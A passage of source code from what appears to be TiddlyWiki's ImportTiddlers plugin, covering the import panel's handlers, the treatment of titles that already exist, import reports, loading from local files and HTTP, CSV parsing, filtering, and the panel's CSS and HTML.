					{ var inbound=cmi.inbound[i]; if (inbound.title==list.options[t].value) break; }
				list.options[t].selected=(inbound.modified-store.getTiddler(list.options[t].value).modified!=0); // changed tiddler
				count+=list.options[t].selected?1:0;
			}
			clearMessage(); displayMessage(cmi.countMsg.format([count]));
			cmi.$('importStart').disabled=!count;
			break;
		case 'importApplyFilter':	// filter list to include only matching tiddlers
			importReport();		// if an import was in progress, generate a report
			clearMessage();
			if (!cmi.all) // no tiddlers loaded = '0 selected'
				{ displayMessage(cmi.countMsg.format([0])); return false; }
			var hash=cmi.$('importLastFilter').value;
			cmi.inbound=cmi.filterByHash('#'+hash,cmi.all);
			refreshImportList();	// reset/resize the listbox
			break;
		case 'importStart':		// initiate the import processing
			importReport();		// if an import was in progress, generate a report
			cmi.$('importApplyToAll').checked=false;
			cmi.$('importStart').value=cmi.stopText;
			if (cmi.index>0) cmi.index=-1; // stop processing
			else cmi.index=importTiddlers(0); // or begin processing
			importStopped();
			break;
		case 'importClose':		// unload imported tiddlers or hide the import control panel
			// if imported tiddlers not loaded, close the import control panel
			if (!cmi.inbound) { thePanel.style.display='none'; break; }
			importReport();		// if an import was in progress, generate a report
			cmi.inbound=null;	// clear the imported tiddler buffer
			refreshImportList();	// reset/resize the listbox
			break;
		case 'importSkip':	// don't import the tiddler
			cmi.lastAction=which;
			var theItem	= list.options[cmi.index];
			for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==theItem.value) break;
			var theImported = cmi.inbound[j];
			theImported.status='skipped after asking';			// mark item as skipped
			theCollisionPanel.style.display='none';
			cmi.index=importTiddlers(cmi.index+1);	// resume with NEXT item
			importStopped();
			break;
		case 'importRename':		// change name of imported tiddler
			cmi.lastAction=which;
			var theItem		= list.options[cmi.index];
			for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==theItem.value) break;
			var theImported		= cmi.inbound[j];
			theImported.status	= 'renamed from '+theImported.title;	// mark item as renamed
			theImported.set(theNewTitle.value,null,null,null,null);		// change the tiddler title
			theItem.value		= theNewTitle.value;			// change the listbox item text
			theItem.text		= theNewTitle.value;			// change the listbox item text
			theCollisionPanel.style.display='none';
			cmi.index=importTiddlers(cmi.index);	// resume with THIS item
			importStopped();
			break;
		case 'importMerge':	// join existing and imported tiddler content
			cmi.lastAction=which;
			var theItem	= list.options[cmi.index];
			for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==theItem.value) break;
			var theImported	= cmi.inbound[j];
			var theExisting	= store.getTiddler(theItem.value);
			var theText	= theExisting.text+'\n----\n^^merged from: ';
			theText		+='[['+cmi.src+'#'+theItem.value+'|'+cmi.src+'#'+theItem.value+']]^^\n';
			theText		+='^^'+theImported.modified.toLocaleString()+' by '+theImported.modifier+'^^\n'+theImported.text;
			var theDate	= new Date();
			var theTags	= theExisting.getTags()+' '+theImported.getTags();
			theImported.set(null,theText,null,theDate,theTags);
			theImported.status   = 'merged with '+theExisting.title;	// mark item as merged
			theImported.status  += ' - '+theExisting.modified.formatString('MM/DD/YYYY 0hh:0mm:0ss');
			theImported.status  += ' by '+theExisting.modifier;
			theCollisionPanel.style.display='none';
			cmi.index=importTiddlers(cmi.index);	// resume with this item
			importStopped();
			break;
		case 'importReplace':		// substitute imported tiddler for existing tiddler
			cmi.lastAction=which;
			var theItem		  = list.options[cmi.index];
			for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==theItem.value) break;
			var theImported     = cmi.inbound[j];
			var theExisting	  = store.getTiddler(theItem.value);
			theImported.status  = 'replaces '+theExisting.title;		// mark item for replace
			theImported.status += ' - '+theExisting.modified.formatString('MM/DD/YYYY 0hh:0mm:0ss');
			theImported.status += ' by '+theExisting.modifier;
			theCollisionPanel.style.display='none';
			cmi.index=importTiddlers(cmi.index);	// resume with THIS item
			importStopped();
			break;
		case 'importListSmaller':		// decrease current listbox size, minimum=5
			if (list.options.length==1) break;
			list.size-=(list.size>5)?1:0;
			cmi.listsize=list.size;
			break;
		case 'importListLarger':		// increase current listbox size, maximum=number of items in list
			if (list.options.length==1) break;
			list.size+=(list.size<list.options.length)?1:0;
			cmi.listsize=list.size;
			break;
		case 'importListMaximize':	// toggle listbox size between current and maximum
			if (list.options.length==1) break;
			list.size=(list.size==list.options.length)?cmi.listsize:list.options.length;
			break;
		}
}
//}}}
//{{{
config.macros.importTiddlers.showPanel=function(place,show,skipAnim) {
	if (typeof place=='string') var place=document.getElementById(place);
	if (!place||!place.style) return;
	if(!skipAnim && anim && config.options.chkAnimate) anim.startAnimating(new Slider(place,show,false,'none'));
	else place.style.display=show?'block':'none';
}
//}}}
//{{{
function refreshImportList(selectedIndex) {
	var cmi=config.macros.importTiddlers; // abbrev
	var list=cmi.$('importList'); if (!list) return;
	// if nothing to show, reset list content and size
	if (!cmi.inbound) {
		while (list.length > 0) { list.options[0] = null; }
		list.options[0]=new Option(cmi.loadText,'',false,false);
		list.size=cmi.listsize;
		cmi.$('importLoad').disabled=false;
		cmi.$('importLoad').style.display='inline';
		cmi.$('importStart').disabled=true;
		cmi.$('importOptions').disabled=true;
		cmi.$('importOptions').style.display='none';
		cmi.$('fileImportSource').disabled=false;
		cmi.$('importFromFile').disabled=false;
		cmi.$('importFromWeb').disabled=false;
		cmi.$('importStart').value=cmi.startText;
		cmi.$('importClose').value=cmi.doneText;
		cmi.$('importSelectPanel').style.display='none';
		cmi.$('importOptionsPanel').style.display='none';
		return;
	}
	// there are inbound tiddlers loaded...
	cmi.$('importLoad').disabled=true;
	cmi.$('importLoad').style.display='none';
	cmi.$('importOptions').style.display='inline';
	cmi.$('importOptions').disabled=false;
	cmi.$('fileImportSource').disabled=true;
	cmi.$('importFromFile').disabled=true;
	cmi.$('importFromWeb').disabled=true;
	cmi.$('importClose').value=cmi.closeText;
	if (cmi.$('importSelectPanel').style.display=='none')
		cmi.showPanel('importSelectPanel',true);

	// get the sort order
	if (!selectedIndex)   selectedIndex=0;
	if (selectedIndex==0) cmi.sort='title';		// heading
	if (selectedIndex==1) cmi.sort='title';
	if (selectedIndex==2) cmi.sort='modified';
	if (selectedIndex==3) cmi.sort='tags';
	if (selectedIndex>3) {
		// display selected tiddler count
		for (var t=0,count=0; t < list.options.length; t++) {
			if (!list.options[t].selected) continue;
			if (list.options[t].value!='')
				count+=1;
			else { // if heading is selected, deselect it, and then select and count all in section
				list.options[t].selected=false;
				for ( t++; t<list.options.length && list.options[t].value!=''; t++) {
					list.options[t].selected=true;
					count++;
				}
			}
		}
		clearMessage(); displayMessage(cmi.countMsg.format([count]));
	}
	cmi.$('importStart').disabled=!count;
	if (selectedIndex>3) return; // no refresh needed

	// get the alphasorted list of tiddlers
	var tiddlers=cmi.inbound;
	tiddlers.sort(function (a,b) {if(a['title'] == b['title']) return(0); else return (a['title'] < b['title']) ? -1 : +1; });
	// clear current list contents
	while (list.length > 0) { list.options[0] = null; }
	// add heading and control items to list
	var i=0;
	var indent=String.fromCharCode(160)+String.fromCharCode(160);
	if (cmi.all.length==tiddlers.length)
		var summary=cmi.summaryMsg.format([tiddlers.length,(tiddlers.length!=1)?cmi.plural:cmi.single]);
	else
		var summary=cmi.summaryFilteredMsg.format([tiddlers.length,cmi.all.length,(cmi.all.length!=1)?cmi.plural:cmi.single]);
	list.options[i++]=new Option(summary,'',false,false);
	list.options[i++]=new Option(((cmi.sort=='title'   )?'>':indent)+' [by title]','',false,false);
	list.options[i++]=new Option(((cmi.sort=='modified')?'>':indent)+' [by date]','',false,false);
	list.options[i++]=new Option(((cmi.sort=='tags')?'>':indent)+' [by tags]','',false,false);
	// output the tiddler list
	switch(cmi.sort) {
		case 'title':
			for(var t = 0; t < tiddlers.length; t++)
				list.options[i++] = new Option(tiddlers[t].title,tiddlers[t].title,false,false);
			break;
		case 'modified':
			// sort descending for newest date first
			tiddlers.sort(function (a,b) {if(a['modified'] == b['modified']) return(0); else return (a['modified'] > b['modified']) ? -1 : +1; });
			var lastSection = '';
			for(var t = 0; t < tiddlers.length; t++) {
				var tiddler = tiddlers[t];
				var theSection = tiddler.modified.toLocaleDateString();
				if (theSection != lastSection) {
					list.options[i++] = new Option(theSection,'',false,false);
					lastSection = theSection;
				}
				list.options[i++] = new Option(indent+indent+tiddler.title,tiddler.title,false,false);
			}
			break;
		case 'tags':
			var theTitles = {}; // all tiddler titles, hash indexed by tag value
			var theTags = new Array();
			for(var t=0; t<tiddlers.length; t++) {
				var title=tiddlers[t].title;
				var tags=tiddlers[t].tags;
				if (!tags || !tags.length) {
					if (theTitles['untagged']==undefined) { theTags.push('untagged'); theTitles['untagged']=new Array(); }
					theTitles['untagged'].push(title);
				}
				else for(var s=0; s<tags.length; s++) {
					if (theTitles[tags[s]]==undefined) { theTags.push(tags[s]); theTitles[tags[s]]=new Array(); }
					theTitles[tags[s]].push(title);
				}
			}
			theTags.sort();
			for(var tagindex=0; tagindex<theTags.length; tagindex++) {
				var theTag=theTags[tagindex];
				list.options[i++]=new Option(theTag,'',false,false);
				for(var t=0; t<theTitles[theTag].length; t++)
					list.options[i++]=new Option(indent+indent+theTitles[theTag][t],theTitles[theTag][t],false,false);
			}
			break;
		}
	list.selectedIndex=selectedIndex;		  // select current control item
	if (list.size<cmi.listsize) list.size=cmi.listsize;
	if (list.size>list.options.length) list.size=list.options.length;
}
//}}}
//{{{
// re-entrant processing for handling import with interactive collision prompting
function importTiddlers(startIndex) {
	var cmi=config.macros.importTiddlers; // abbrev
	if (!cmi.inbound) return -1;
	var list=cmi.$('importList'); if (!list) return;
	var t;
	// if starting new import, reset import status flags
	if (startIndex==0)
		for (var t=0;t<cmi.inbound.length;t++)
			cmi.inbound[t].status='';
	for (var i=startIndex; i<list.options.length; i++) {
		// if list item is not selected or is a heading (i.e., has no value), skip it
		if ((!list.options[i].selected) || ((t=list.options[i].value)==''))
			continue;
		for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==t) break;
		var inbound = cmi.inbound[j];
		var theExisting = store.getTiddler(inbound.title);
		// avoid redundant import for tiddlers that are listed multiple times (when 'by tags')
		if (inbound.status=='added')
			continue;
		// don't import the 'ImportedTiddlers' history from the other document...
		if (inbound.title=='ImportedTiddlers')
			continue;
		// if tiddler exists and import not marked for replace or merge, stop importing
		if (theExisting && (inbound.status.substr(0,7)!='replace') && (inbound.status.substr(0,5)!='merge'))
			return i;
		// assemble tags (remote + existing + added)
		var newTags = '';
		if (cmi.importTags)
			newTags+=inbound.getTags()	// import remote tags
		if (cmi.keepTags && theExisting)
			newTags+=' '+theExisting.getTags(); // keep existing tags
		if (cmi.addTags && cmi.newTags.trim().length)
			newTags+=' '+cmi.newTags; // add new tags
		inbound.set(null,null,null,null,newTags.trim());
		// set the status to 'added' (if not already set by the 'ask the user' UI)
		inbound.status=(inbound.status=='')?'added':inbound.status;
		// set sync fields
		if (cmi.sync) {
			if (!inbound.fields) inbound.fields={}; // for TW2.1.x backward-compatibility
			inbound.fields['server.page.revision']=inbound.modified.convertToYYYYMMDDHHMM();
			inbound.fields['server.type']='file';
			inbound.fields['server.host']=(cmi.local&&!cmi.src.startsWith('file:')?'file:///':'')+cmi.src;
		}
		// do the import!
		store.suspendNotifications();
		store.saveTiddler(inbound.title, inbound.title, inbound.text, inbound.modifier, inbound.modified, inbound.tags, inbound.fields, true, inbound.created);
                store.fetchTiddler(inbound.title).created = inbound.created; // force creation date to imported value (needed for TW2.1.x and earlier)
		store.resumeNotifications();
		}
	return(-1);	// signals that we really finished the entire list
}
function importStopped() {
	var cmi=config.macros.importTiddlers; // abbrev
	var list=cmi.$('importList'); if (!list) return;
	var theNewTitle=cmi.$('importNewTitle');
	if (cmi.index==-1){ 
		cmi.$('importStart').value=cmi.startText;
		importReport();	// import finished... generate the report
	} else {
		// import collision...
		// show the collision panel and set the title edit field
		cmi.$('importStart').value=cmi.stopText;
		cmi.showPanel('importCollisionPanel',true);
		theNewTitle.value=list.options[cmi.index].value;
		if (cmi.$('importApplyToAll').checked && cmi.lastAction && cmi.lastAction.id!='importRename')
			onClickImportButton(cmi.lastAction);
	}
}
//}}}
//{{{
function importReport() {
	var cmi=config.macros.importTiddlers; // abbrev
	if (!cmi.inbound) return;
	// if import was not completed, the collision panel will still be open... close it now.
	var panel=cmi.$('importCollisionPanel'); if (panel) panel.style.display='none';
	// get the alphasorted list of tiddlers
	var tiddlers = cmi.inbound;
	// gather the statistics
	var count=0; var total=0;
	for (var t=0; t<tiddlers.length; t++) {
		if (!tiddlers[t].status || !tiddlers[t].status.trim().length) continue;
		if (tiddlers[t].status.substr(0,7)!='skipped') count++;
		total++;
	}
	// generate a report
	if (total) displayMessage(cmi.processedMsg.format([total]));
	if (count && config.options.chkImportReport) {
		// get/create the report tiddler
		var theReport = store.getTiddler('ImportedTiddlers');
		if (!theReport) { theReport=new Tiddler(); theReport.title='ImportedTiddlers'; theReport.text=''; }
		// format the report content
		var now = new Date();
		var newText = 'On '+now.toLocaleString()+', '+config.options.txtUserName
		newText +=' imported '+count+' tiddler'+(count==1?'':'s')+' from\n[['+cmi.src+'|'+cmi.src+']]:\n';
		if (cmi.addTags && cmi.newTags.trim().length)
			newText += 'imported tiddlers were tagged with: "'+cmi.newTags+'"\n';
		newText += '<<<\n';
		for (var t=0; t<tiddlers.length; t++) if (tiddlers[t].status)
			newText += '#[['+tiddlers[t].title+']] - '+tiddlers[t].status+'\n';
		newText += '<<<\n';
		// update the ImportedTiddlers content and show the tiddler
		theReport.text	 = newText+((theReport.text!='')?'\n----\n':'')+theReport.text;
		theReport.modifier = config.options.txtUserName;
		theReport.modified = new Date();
                store.saveTiddler(theReport.title, theReport.title, theReport.text, theReport.modifier, theReport.modified, theReport.tags, theReport.fields);
		story.displayTiddler(null,theReport.title,1,null,null,false);
		story.refreshTiddler(theReport.title,1,true);
	}
	// reset status flags
	for (var t=0; t<cmi.inbound.length; t++) cmi.inbound[t].status='';
	// mark document as dirty and let display update as needed
	if (count) { store.setDirty(true); store.notifyAll(); }
	// always show final message when tiddlers were actually loaded
	if (count) displayMessage(cmi.importedMsg.format([count,tiddlers.length,cmi.src.replace(/%20/g,' ')]));
}
//}}}
//{{{
// // File and XMLHttpRequest I/O
config.macros.importTiddlers.askForFilename=function(here) {
	var msg=here.title; // use tooltip as dialog box message
	var path=getLocalPath(document.location.href);
	var slashpos=path.lastIndexOf('/'); if (slashpos==-1) slashpos=path.lastIndexOf('\\'); 
	if (slashpos!=-1) path = path.substr(0,slashpos+1); // remove filename from path, leave the trailing slash
	var file='';
	var result='';
	if(window.Components) { // moz
		try {
			netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');

			var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
			var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
			picker.init(window, msg, nsIFilePicker.modeOpen);
			var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
			thispath.initWithPath(path);
			picker.displayDirectory=thispath;
			picker.defaultExtension='html';
			picker.defaultString=file;
			picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
			if (picker.show()!=nsIFilePicker.returnCancel) var result=picker.file.path;
		}
		catch(e) { alert('error during local file access: '+e.toString()) }
	}
	else { // IE
		try { // XPSP2 IE only
			var s = new ActiveXObject('UserAccounts.CommonDialog');
			s.Filter='All files|*.*|Text files|*.txt|HTML files|*.htm;*.html|';
			s.FilterIndex=3; // default to HTML files;
			s.InitialDir=path;
			s.FileName=file;
			if (s.showOpen()) var result=s.FileName;
		}
		catch(e) {  // fallback
			var result=prompt(msg,path+file);
		}
	}
	return result;
}

config.macros.importTiddlers.loadRemoteFile = function(src,callback) {
	if (src==undefined || !src.length) return null; // filename is required
	var original=src; // URL as specified
	var hashpos=src.indexOf('#'); if (hashpos!=-1) src=src.substr(0,hashpos); // URL with #... suffix removed (needed for IE)
	clearMessage();
	displayMessage(this.openMsg.format([src.replace(/%20/g,' ')]));
	if (src.substr(0,5)!='http:' && src.substr(0,5)!='file:') { // if not a URL, read from local filesystem
		var txt=loadFile(src);
		if (!txt) { // file didn't load, might be relative path.. try fixup
			var pathPrefix=document.location.href;  // get current document path and trim off filename
			var slashpos=pathPrefix.lastIndexOf('/'); if (slashpos==-1) slashpos=pathPrefix.lastIndexOf('\\'); 
			if (slashpos!=-1 && slashpos!=pathPrefix.length-1) pathPrefix=pathPrefix.substr(0,slashpos+1);
			src=pathPrefix+src;
			if (pathPrefix.substr(0,5)!='http:') src=getLocalPath(src);
			var txt=loadFile(src);
		}
		if (!txt) { // file still didn't load, report error
			displayMessage(config.macros.importTiddlers.openErrMsg.format([src.replace(/%20/g,' '),'(filesystem error)']));
		} else {
			displayMessage(config.macros.importTiddlers.readMsg.format([txt.length,src.replace(/%20/g,' ')]));
			if (version.major+version.minor*.1+version.revision*.01!=2.52) txt=convertUTF8ToUnicode(txt);
			if (callback) callback(true,original,txt,src,null);
		}
	} else {
		doHttp('GET',src,null,null,config.options.txtRemoteUsername,config.options.txtRemotePassword,callback,original,null);
	}
}

config.macros.importTiddlers.readTiddlersFromHTML=function(html){
	var remoteStore=new TiddlyWiki();
	remoteStore.importTiddlyWiki(html);
	return remoteStore.getTiddlers('title');	
}

config.macros.importTiddlers.readTiddlersFromCSV=function(CSV){
	var remoteStore=new TiddlyWiki();
	// GET NAMES
	var lines=CSV.replace(/\r/g,'').split('\n');
	var names=lines.shift().replace(/"/g,'').split(',');
	CSV=lines.join('\n');
	// ENCODE commas and newlines within quoted values
	var comma='!~comma~!'; var commaRE=new RegExp(comma,'g');
	var newline='!~newline~!'; var newlineRE=new RegExp(newline,'g');
	CSV=CSV.replace(/"([^"]*?)"/g,
		function(x){ return x.replace(/\,/g,comma).replace(/\n/g,newline); });
	// PARSE lines
	var lines=CSV.split('\n');
	for (var i=0; i<lines.length; i++) { if (!lines[i].length) continue;
		var values=lines[i].split(',');
		// DECODE commas, newlines, and doubled-quotes, and remove enclosing quotes (if any)
		for (var v=0; v<values.length; v++)
			values[v]=values[v].replace(commaRE,',').replace(newlineRE,'\n')
				.replace(/^"|"$/g,'').replace(/""/g,'"');
		// EXTRACT tiddler values
		var title=''; var text=''; var tags=[]; var fields={};
		var created=null; var when=new Date(); var who=config.options.txtUserName;
		for (var v=0; v<values.length; v++) { var val=values[v];
			if (names[v]) switch(names[v].toLowerCase()) {
				case 'title':	title=val.replace(/\[\]\|/g,'_'); break;
				case 'created': created=new Date(val); break;
				case 'modified':when=new Date(val); break;
				case 'modifier':who=val; break;
				case 'text':	text=val; break;
				case 'tags':	tags=val.readBracketedList(); break;
				default:	fields[names[v].toLowerCase()]=val; break;
			}
		}
		// CREATE tiddler in temporary store
		if (title.length)
			remoteStore.saveTiddler(title,title,text,who,when,tags,fields,true,created||when);
	}
	return remoteStore.getTiddlers('title');
}

config.macros.importTiddlers.createTiddlerFromFile=function(src,txt) {
	var t=new Tiddler();
	var pos=src.lastIndexOf("/"); if (pos==-1) pos=src.lastIndexOf("\\");
	t.title=pos==-1?src:src.substr(pos+1);
	t.text=txt; 
	t.created=t.modified=new Date();
	t.modifier=config.options.txtUserName;
	if (src.substr(src.length-3,3)=='.js') t.tags=['systemConfig'];
	return [t];
}

config.macros.importTiddlers.filterTiddlerList=function(success,params,txt,src,xhr){
	var cmi=config.macros.importTiddlers; // abbreviation
	var src=src.replace(/%20/g,' ');
	if (!success) { displayMessage(cmi.openErrMsg.format([src,xhr.status])); return; }
	cmi.all=cmi.readTiddlersFromHTML(txt);
	if (!cmi.all||!cmi.all.length) cmi.all=cmi.readTiddlersFromCSV(txt)
	if (!cmi.all||!cmi.all.length) cmi.all=cmi.createTiddlerFromFile(src,txt)
	var count=cmi.all?cmi.all.length:0;
	var querypos=src.lastIndexOf('?'); if (querypos!=-1) src=src.substr(0,querypos);
	displayMessage(cmi.foundMsg.format([count,src]));
	cmi.inbound=cmi.filterByHash(params,cmi.all); // use full URL including hash (if any)
	cmi.$('importLastFilter').value=cmi.lastFilter;
	window.refreshImportList(0);
}

config.macros.importTiddlers.filterByHash=function(src,tiddlers){
	var hashpos=src.lastIndexOf('#'); if (hashpos==-1) return tiddlers;
	var hash=src.substr(hashpos+1); if (!hash.length) return tiddlers;
	var tids=[];
	var params=hash.parseParams('anon',null,true,false,false);
	for (var p=1; p<params.length; p++) {
		switch (params[p].name) {
			case 'anon':
			case 'open':
				tids.pushUnique(params[p].value);
				break;
			case 'tag':
				if (store.getMatchingTiddlers) { // for boolean expressions - see MatchTagsPlugin
					var r=store.getMatchingTiddlers(params[p].value,null,tiddlers);
					for (var t=0; t<r.length; t++) tids.pushUnique(r[t].title);
				} else for (var t=0; t<tiddlers.length; t++)
					if (tiddlers[t].isTagged(params[p].value))
						tids.pushUnique(tiddlers[t].title);
				break;
			case 'story':
				for (var t=0; t<tiddlers.length; t++)
					if (tiddlers[t].title==params[p].value) {
						tiddlers[t].changed();
						for (var s=0; s<tiddlers[t].links.length; s++)
							tids.pushUnique(tiddlers[t].links[s]);
						break;
					}
				break;
			case 'search':
				for (var t=0; t<tiddlers.length; t++)
					if (tiddlers[t].text.indexOf(params[p].value)!=-1)
						tids.pushUnique(tiddlers[t].title);
				break;
		}
	}
	var matches=[];
	for (var t=0; t<tiddlers.length; t++)
		if (tids.contains(tiddlers[t].title))
			matches.push(tiddlers[t]);
	displayMessage(config.macros.importTiddlers.filterMsg.format([matches.length,hash]));
	config.macros.importTiddlers.lastFilter=hash;
	return matches;
}
//}}}
/***
!!!Control panel CSS
//{{{
!css
#importPanel {
	display: none; position:absolute; z-index:11; width:35em; right:105%; top:3em;
	background-color: #eee; color:#000; font-size: 8pt; line-height:110%;
	border:1px solid black; border-bottom-width: 3px; border-right-width: 3px;
	padding: 0.5em; margin:0em; -moz-border-radius:1em;-webkit-border-radius:1em;
}
#importPanel a, #importPanel td a { color:#009; display:inline; margin:0px; padding:1px; }
#importPanel table { width:100%; border:0px; padding:0px; margin:0px; font-size:8pt; line-height:110%; background:transparent; }
#importPanel tr { border:0px;padding:0px;margin:0px; background:transparent; }
#importPanel td { color:#000; border:0px;padding:0px;margin:0px; background:transparent; }
#importPanel select { width:100%;margin:0px;font-size:8pt;line-height:110%;}
#importPanel input  { width:98%;padding:0px;margin:0px;font-size:8pt;line-height:110%}
#importPanel .box { border:1px solid #000; background-color:#eee; padding:3px 5px; margin-bottom:5px; -moz-border-radius:5px;-webkit-border-radius:5px;}
#importPanel .topline { border-top:1px solid #999; padding-top:2px; margin-top:2px; }
#importPanel .rad { width:auto; }
#importPanel .chk { width:auto; margin:1px;border:0; }
#importPanel .btn { width:auto; }
#importPanel .btn1 { width:98%; }
#importPanel .btn2 { width:48%; }
#importPanel .btn3 { width:32%; }
#importPanel .btn4 { width:23%; }
#importPanel .btn5 { width:19%; }
#importPanel .importButton { padding: 0em; margin: 0px; font-size:8pt; }
#importPanel .importListButton { padding:0em 0.25em 0em 0.25em; color: #000000; display:inline }
#backstagePanel #importPanel { left:10%; right:auto; }
!end
//}}}
!!!Control panel HTML
//{{{
!html
<!-- source and report -->
<table><tr><td align=left>
	import from
	<input type="radio" class="rad" name="importFrom" id="importFromFile" value="file" CHECKED
		onclick="onClickImportButton(this,event)" title="show file controls"> local file
	<input type="radio" class="rad" name="importFrom" id="importFromWeb"  value="http"
		onclick="onClickImportButton(this,event)" title="show web controls"> web server
</td><td align=right>
	<input type=checkbox class="chk" id="chkImportReport"
		onClick="config.options['chkImportReport']=this.checked;"> create report
</td></tr></table>

<div class="box" id="importSourcePanel" style="margin:.5em">
<div id="importLocalPanel" style="display:block;margin-bottom:2px;"><!-- import from local file  -->
enter or browse for source path/filename<br>
<input type="file" id="fileImportSource" size=57 style="width:100%"
	onKeyUp="config.macros.importTiddlers.src=this.value"
	onChange="config.macros.importTiddlers.src=this.value;document.getElementById('importLoad').onclick()">
<div id="importLocalPanelFix" style="display:none"><!-- FF3 FIXUP -->
	<input type="text" id="fileImportSourceFix" style="width:90%"
		title="Enter a path/file to import"
		onKeyUp="config.macros.importTiddlers.src=this.value"
		onChange="config.macros.importTiddlers.src=this.value;document.getElementById('importLoad').onclick()">
	<input type="button" id="fileImportSourceFixButton" style="width:7%" value="..."
		title="Select a path/file to import"
		onClick="var r=config.macros.importTiddlers.askForFilename(this); if (!r||!r.length) return;
			document.getElementById('fileImportSourceFix').value=r;
			config.macros.importTiddlers.src=r;
			document.getElementById('importLoad').onclick()">
</div><!--end FF3 FIXUP-->
</div><!--end local-->
<div id="importHTTPPanel" style="display:none;margin-bottom:2px;"><!-- import from http server -->
<table><tr><td align=left>
	enter a URL or <a href="javascript:;" id="importSelectFeed"
		onclick="return onClickImportButton(this,event)" title="select a pre-defined 'systemServer' URL">
		select a server</a><br>
</td><td align=right>
	<input type="checkbox" class="chk" id="importUsePassword"
		onClick="config.macros.importTiddlers.usePassword=this.checked;
			config.macros.importTiddlers.showPanel('importIDPWPanel',this.checked,true);">password
	<input type="checkbox" class="chk" id="importUseProxy"
		onClick="config.macros.importTiddlers.useProxy=this.checked;
			config.macros.importTiddlers.showPanel('importSiteProxy',this.checked,true);">proxy
</td></tr></table>
<input type="text" id="importSiteProxy" style="display:none;margin-bottom:1px" onfocus="this.select()" value="SiteProxy"
	onKeyUp="config.macros.importTiddlers.proxy=this.value"
	onChange="config.macros.importTiddlers.proxy=this.value;">
<input type="text" id="importSourceURL" onfocus="this.select()" value="SiteUrl"
	onKeyUp="config.macros.importTiddlers.src=this.value"
	onChange="config.macros.importTiddlers.src=this.value;">
<div id="importIDPWPanel" style="text-align:center;margin-top:2px;display:none";>
username: <input type=text id="txtImportID" style="width:25%" 
	onChange="config.options.txtRemoteUsername=this.value;">
 password: <input type=password id="txtImportPW" style="width:25%" 
	onChange="config.options.txtRemotePassword=this.value;">
</div><!--end idpw-->
</div><!--end http-->
</div><!--end source-->

<div class="box" id="importSelectPanel" style="display:none;margin:.5em;">
<table><tr><td align=left>
select:
<a href="javascript:;" id="importSelectAll"
	onclick="return onClickImportButton(this)" title="SELECT all tiddlers">
	all</a>
&nbsp;<a href="javascript:;" id="importSelectNew"
	onclick="return onClickImportButton(this)" title="SELECT tiddlers not already in destination document">
	added</a>
&nbsp;<a href="javascript:;" id="importSelectChanges"
	onclick="return onClickImportButton(this)" title="SELECT tiddlers that have been updated in source document">
	changes</a>
&nbsp;<a href="javascript:;" id="importSelectDifferences"
	onclick="return onClickImportButton(this)" title="SELECT tiddlers that have been added or are different from existing tiddlers">
	differences</a>
</td><td align=right>
<a href="javascript:;" id="importListSmaller"
	onclick="return onClickImportButton(this)" title="SHRINK list size">
	&nbsp;&#150;&nbsp;</a>
<a href="javascript:;" id="importListLarger"
	onclick="return onClickImportButton(this)" title="GROW list size">
	&nbsp;+&nbsp;</a>
<a href="javascript:;" id="importListMaximize"
	onclick="return onClickImportButton(this)" title="MAXIMIZE/RESTORE list size">
	&nbsp;=&nbsp;</a>
</td></tr></table>
<select id="importList" size=8 multiple
	onchange="setTimeout('refreshImportList('+this.selectedIndex+')',1)">
	<!-- NOTE: delay refresh so list is updated AFTER onchange event is handled -->
</select>
<div style="text-align:center">
	<a href="javascript:;"
		title="click for help using filters..."
		onclick="alert('A filter consists of one or more space-separated combinations of: tiddlertitle, tag:[[tagvalue]], tag:[[tag expression]] (requires MatchTagsPlugin), story:[[TiddlerName]], and/or search:[[searchtext]]. Use a blank filter to restore the list of all tiddlers.'); return false;"
	>filter</a>
	<input type="text" id="importLastFilter" style="margin-bottom:1px; width:65%"
		title="Enter a combination of one or more filters. Use a blank filter for all tiddlers."
		onfocus="this.select()" value=""
		onKeyUp="config.macros.importTiddlers.lastFilter=this.value"
		onChange="config.macros.importTiddlers.lastFilter=this.value;">
	<input type="button" id="importApplyFilter" style="width:20%" value="apply"
		title="filter list of tiddlers to include only those that match certain criteria"
		onclick="return onClickImportButton(this)">
	</div>
</div><!--end select-->

<div class="box" id="importOptionsPanel" style="text-align:center;margin:.5em;display:none;">
	apply tags: <input type=checkbox class="chk" id="chkImportTags" checked
		onClick="config.macros.importTiddlers.importTags=this.checked;">from source&nbsp;
	<input type=checkbox class="chk" id="chkKeepTags" checked
		onClick="config.macros.importTiddlers.keepTags=this.checked;">keep existing&nbsp;
	<input type=checkbox class="chk" id="chkAddTags" 
		onClick="config.macros.importTiddlers.addTags=this.checked;
			config.macros.importTiddlers.showPanel('txtNewTags',this.checked,false);
			if (this.checked) document.getElementById('txtNewTags').focus();">add tags<br>
	<input type=text id="txtNewTags" style="margin-top:4px;display:none;" size=15 onfocus="this.select()" 
		title="enter tags to be added to imported tiddlers" 
		onKeyUp="config.macros.importTiddlers.newTags=this.value;
		document.getElementById('chkAddTags').checked=this.value.length>0;" autocomplete=off>
	<nobr><input type=checkbox class="chk" id="chkSync" 
		onClick="config.macros.importTiddlers.sync=this.checked;">
		link tiddlers to source document (for sync later)</nobr>
</div><!--end options-->

<div id="importButtonPanel" style="text-align:center">
	<input type=button id="importLoad"	class="importButton btn3" value="open"
		title="load listbox with tiddlers from source document"
		onclick="onClickImportButton(this)">
	<input type=button id="importOptions"	class="importButton btn3" value="options..."
		title="set options for tags, sync, etc."
		onclick="onClickImportButton(this)">
	<input type=button id="importStart"	class="importButton btn3" value="import"
		title="start/stop import of selected source tiddlers into current document"
		onclick="onClickImportButton(this)">
	<input type=button id="importClose"	class="importButton btn3" value="done"
		title="clear listbox or hide control panel"
		onclick="onClickImportButton(this)">
</div>

<div class="none" id="importCollisionPanel" style="display:none;margin:.5em 0 .5em .5em;">
	<table><tr><td style="width:65%" align="left">
		<table><tr><td align=left>
			tiddler already exists:
		</td><td align=right>
